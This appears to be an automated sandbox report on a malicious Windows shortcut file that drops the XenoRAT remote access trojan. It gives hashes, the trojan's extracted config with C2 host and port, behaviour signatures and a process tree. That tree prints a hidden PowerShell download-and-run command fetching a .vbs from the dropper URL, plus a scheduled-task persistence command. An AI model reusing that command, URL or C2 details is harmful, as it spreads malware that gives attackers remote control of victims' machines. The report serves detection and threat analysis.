Analysis

  • max time kernel
    147s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    10-12-2024 02:40

General

  • Target

    4a6695307864dfe0b2e8b516afce79959cb20fed28734d5426450091367255a4.lnk

  • Size

    2KB

  • MD5

    5f82d730794323e47df2c5361e13ce69

  • SHA1

    e05dba2157cec9966790f75cba9899243939b569

  • SHA256

    4a6695307864dfe0b2e8b516afce79959cb20fed28734d5426450091367255a4

  • SHA512

    9b0ffcccaff5071944b6525bcb9678aed94f939700c741ebc99f919cdc4033d86a79546f39080e1991b41cd7cf2e243d434b147764495b3548e1f563a1a0ea07

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

https://www.stipamana.com/vbsznjgzfzgolnzdgh/tydthcgfhjdfhsfghxffsjhx/vbfdhydjyfjfxhgjhxgh/pafdfgzdf.vbs

Extracted

Family

xenorat

C2

dns.stipamana.com

Mutex

Xeno_rat_nd8912d

Attributes
  • delay

    12000

  • install_path

    appdata

  • port

    4567

  • startup_name

    mrec

Signatures

  • Detect XenoRat Payload 1 IoCs
  • XenorRat

    XenorRat is a remote access trojan written in C#.

  • Xenorat family
  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Downloads MZ/PE file
  • Office macro that triggers on suspicious action 1 IoCs

    Office document macro which triggers in special circumstances - often malicious.

  • Suspicious Office macro 1 IoCs

    Office document equipped with macros.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 8 IoCs
  • Suspicious use of SetThreadContext 6 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 9 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 61 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\4a6695307864dfe0b2e8b516afce79959cb20fed28734d5426450091367255a4.lnk
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3108
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass opntjfmdjtgfdjqbinrdfgfdhozhdfbo -WindowStyle -Command hiddeN consent.exe;(new-object System.Net.WebClient).DownloadFile('https://www.stipamana.com/vbsznjgzfzgolnzdgh/tydthcgfhjdfhsfghxffsjhx/vbfdhydjyfjfxhgjhxgh/pafdfgzdf.vbs','pafdfgz.vbs');./'pafdfgz.vbs';(get-item 'pafdfgz.vbs').Attributes += 'Hidden';
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3800
      • C:\Windows\System32\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\pafdfgz.vbs"
        3⤵
        • Blocklisted process makes network request
        PID:396
  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /Automation -Embedding
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3236
    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\KKSTV.exe
      "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\KKSTV.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of SetThreadContext
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2748
      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\KKSTV.exe
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\KKSTV.exe
        3⤵
        • Checks computer location settings
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:916
        • C:\Users\Admin\AppData\Roaming\UpdateManager\KKSTV.exe
          "C:\Users\Admin\AppData\Roaming\UpdateManager\KKSTV.exe"
          4⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • System Location Discovery: System Language Discovery
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1752
          • C:\Users\Admin\AppData\Roaming\UpdateManager\KKSTV.exe
            C:\Users\Admin\AppData\Roaming\UpdateManager\KKSTV.exe
            5⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            PID:1616
          • C:\Users\Admin\AppData\Roaming\UpdateManager\KKSTV.exe
            C:\Users\Admin\AppData\Roaming\UpdateManager\KKSTV.exe
            5⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            PID:2912
          • C:\Users\Admin\AppData\Roaming\UpdateManager\KKSTV.exe
            C:\Users\Admin\AppData\Roaming\UpdateManager\KKSTV.exe
            5⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            PID:2364
      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\KKSTV.exe
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\KKSTV.exe
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        PID:4508
      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\KKSTV.exe
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\KKSTV.exe
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:3732
        • C:\Windows\SysWOW64\schtasks.exe
          "schtasks.exe" /Create /TN "mrec" /XML "C:\Users\Admin\AppData\Local\Temp\tmpC321.tmp" /F
          4⤵
          • System Location Discovery: System Language Discovery
          • Scheduled Task/Job: Scheduled Task
          PID:2180

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\KKSTV.exe.log

    Filesize

    706B

    MD5

    d95c58e609838928f0f49837cab7dfd2

    SHA1

    55e7139a1e3899195b92ed8771d1ca2c7d53c916

    SHA256

    0407c814aef0d62aec7fd39b7c2f614746f0d8ff41f8ef957736f520f14b0339

    SHA512

    405310b29a833604c6627063bfdcf055a197e01f633ef21da238f1a6415a02e21315d689b4a6669db23e82152bed6f3492afb60963e6b2a0e9bb2ac09a480b5d

  • C:\Users\Admin\AppData\Local\Temp\TCDC6BD.tmp\iso690.xsl

    Filesize

    263KB

    MD5

    ff0e07eff1333cdf9fc2523d323dd654

    SHA1

    77a1ae0dd8dbc3fee65dd6266f31e2a564d088a4

    SHA256

    3f925e0cc1542f09de1f99060899eafb0042bb9682507c907173c392115a44b5

    SHA512

    b4615f995fab87661c2dbe46625aa982215d7bde27cafae221dca76087fe76da4b4a381943436fcac1577cb3d260d0050b32b7b93e3eb07912494429f126bb3d

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hhmg334z.t52.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\pafdfgz.vbs

    Filesize

    10KB

    MD5

    087bcef76143b81090deef4ee4679995

    SHA1

    6ebd4fd212d0583157ae03bb0eb5841c53e281fc

    SHA256

    87334eb3f39cffdfeed453f67a7c338fe378b75c49946451ca1a0e4e151bba00

    SHA512

    b2f93705760d4d1cf5fe0ac354100916d16b6c4fd62117254238a600aabe6257fc791f1ce498bd2d0cfdd47e19f304dc5a68a06b7958658f34859afaa582ed4d

  • C:\Users\Admin\AppData\Local\Temp\tmpC321.tmp

    Filesize

    1KB

    MD5

    276d8f1b7e05feed45e456295f52e4da

    SHA1

    902d0fcb164b5ad255185b04558618b51b824cf8

    SHA256

    06483d2faa061e06693dba1bb7f645fee992f94ffb713e6ebf30ae50ab288b5c

    SHA512

    893ec4b4358250389b6c7764145ef0aca8de5429ba983534d2205796296f747fcb20567ec99a6b9ccaef3903d795986b32572a7e6e5d9cb3e08b876c0f01db95

  • C:\Users\Admin\AppData\Local\Temp\¸¸.doc

    Filesize

    195KB

    MD5

    13326ed69d36aaa385c5eba9fa6e5cc2

    SHA1

    66946fa69204b91787c7eabb91c1fd8452b1cc24

    SHA256

    3106e90067456404a9f3e768ce3b60de6ae91fa2be664255ad6fe86c3f87e67d

    SHA512

    39e5df1db48b1afe1c2bf7f2b8ccfca38b0fd4c49dd04884299fcc8adc633e6171a8756bf9eca65ac37b59ce6ef4a3fb3c761848a94c04d9afe725a53d008edd

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\KKSTV.exe

    Filesize

    173KB

    MD5

    94a7e3859c2e4238421cdfe73d49603c

    SHA1

    03f03c5b5d8cf362aa52b9e793e7be398d779c21

    SHA256

    639135eb69333aba7ecb762072d8bef1d2db83e54edbe627dd223039142b8c91

    SHA512

    74048463606f7017bd8bd3c92773edde5a406247c5ea437b8ee580a3d9e65eb755aa44de466fc2aabef8b9a67c40163afeb3df9bc9fb35f8afe20814d5de85b5

  • memory/916-103-0x0000000000400000-0x0000000000412000-memory.dmp

    Filesize

    72KB

  • memory/2748-101-0x000000000E3A0000-0x000000000E432000-memory.dmp

    Filesize

    584KB

  • memory/2748-100-0x000000000E8B0000-0x000000000EE54000-memory.dmp

    Filesize

    5.6MB

  • memory/2748-99-0x000000000E260000-0x000000000E2FC000-memory.dmp

    Filesize

    624KB

  • memory/2748-98-0x0000000005860000-0x0000000005894000-memory.dmp

    Filesize

    208KB

  • memory/2748-97-0x00000000057F0000-0x00000000057F6000-memory.dmp

    Filesize

    24KB

  • memory/2748-96-0x0000000000EE0000-0x0000000000F10000-memory.dmp

    Filesize

    192KB

  • memory/2748-102-0x00000000032D0000-0x00000000032D6000-memory.dmp

    Filesize

    24KB

  • memory/3236-28-0x00007FFC7D0B0000-0x00007FFC7D0C0000-memory.dmp

    Filesize

    64KB

  • memory/3236-29-0x00007FFC7D0B0000-0x00007FFC7D0C0000-memory.dmp

    Filesize

    64KB

  • memory/3236-27-0x00007FFC7FA10000-0x00007FFC7FA20000-memory.dmp

    Filesize

    64KB

  • memory/3236-26-0x00007FFC7FA10000-0x00007FFC7FA20000-memory.dmp

    Filesize

    64KB

  • memory/3236-25-0x00007FFC7FA10000-0x00007FFC7FA20000-memory.dmp

    Filesize

    64KB

  • memory/3236-24-0x00007FFC7FA10000-0x00007FFC7FA20000-memory.dmp

    Filesize

    64KB

  • memory/3236-23-0x00007FFC7FA10000-0x00007FFC7FA20000-memory.dmp

    Filesize

    64KB

  • memory/3800-2-0x00007FFCA1613000-0x00007FFCA1615000-memory.dmp

    Filesize

    8KB

  • memory/3800-21-0x00007FFCA1610000-0x00007FFCA20D1000-memory.dmp

    Filesize

    10.8MB

  • memory/3800-14-0x00007FFCA1610000-0x00007FFCA20D1000-memory.dmp

    Filesize

    10.8MB

  • memory/3800-13-0x00007FFCA1610000-0x00007FFCA20D1000-memory.dmp

    Filesize

    10.8MB

  • memory/3800-10-0x000001D8E7C20000-0x000001D8E7C42000-memory.dmp

    Filesize

    136KB